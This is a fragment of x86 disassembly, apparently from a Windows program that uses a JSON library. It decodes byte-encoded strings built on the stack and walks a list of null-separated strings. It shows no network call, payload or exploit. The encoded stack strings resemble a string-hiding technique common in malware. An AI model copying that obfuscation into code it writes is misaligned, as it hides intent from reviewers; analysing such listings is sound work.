lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x26
mov esi, eax
call fcn.004028d0
mov ecx, esi
mov byte [ebp - 4], 0x11
call fcn.00468470
mov edx, 5
mov ecx, ebx
call fcn.004a33e0
sub esp, 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], esp
mov ecx, esp
push eax
call fcn.0046efe0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x81]
mov dword [ebp - 0x81], 0x929b949a
mov word [ebp - 0x7d], 0x100
call fcn.00409eb0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046e710
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.00468470
mov edx, 6
mov ecx, ebx
call fcn.004a33e0
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x1f8]
lea eax, [ebp - 0x14]
push eax
call fcn.0046efe0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0x829a9482
mov word [ebp - 0x84], 0x9d
mov byte [ebp - 0x82], 1
call fcn.004083d0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046e710
mov byte [ebp - 4], 0x11
mov edi, eax
mov cl, byte [ebp - 0x1f8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x1f0]
mov byte [ebp - 0x1f8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1f8]
mov dword [edi + 8], eax
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1ec], esi
call fcn.00468450
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x268]
call fcn.00468100
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0xe
call fcn.00468450
mov ecx, ebx
call fcn.004a2b90
cmp eax, 0x64
je 0x43a5b0
mov esi, dword [ebp - 0x118]
mov edi, dword [ebp - 0x1fc]
mov ecx, ebx
call fcn.004a2a80
mov ebx, dword [ebp - 0x11c]
mov ecx, esi
call fcn.00413f50
lea ecx, [ebp - 0x99]
mov dword [ebp - 0x99], 0x9c999a97
mov dword [ebp - 0x95], 0x899c91
mov byte [ebp - 0x91], 1
call fcn.00409ee0
push eax
mov ecx, edi
call fcn.0046e710
lea ecx, [ebp - 0x268]
push ecx
mov ecx, eax
call fcn.00467e20
lea ecx, [ebp - 0x268]
call fcn.00468450
lea ecx, [ebp - 0x280]
call fcn.004028d0
lea ecx, [ebp - 0x22c]
call fcn.004028d0
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 4
call fcn.004028d0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc ebx
add ebx, eax
mov dword [ebp - 0x11c], ebx
cmp byte [ebx], 0
jne 0x43a190
lea ecx, [ebp - 0x298]
call fcn.004028d0
lea ecx, [ebp - 0x2b0]
call fcn.004028d0
lea ecx, [ebp + 8]
call fcn.004028d0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x130]
call fcn.0046c340
push eax
lea ecx, [ebp - 0x2fc]
call fcn.00402980
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x314]
call fcn.0046e530
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2e4]
call fcn.00407820
add esp, 4
lea eax, [ebp - 0x2e4]
push 0x5316e0
push eax
call fcn.004e0efb
call fcn.004e47b0
int3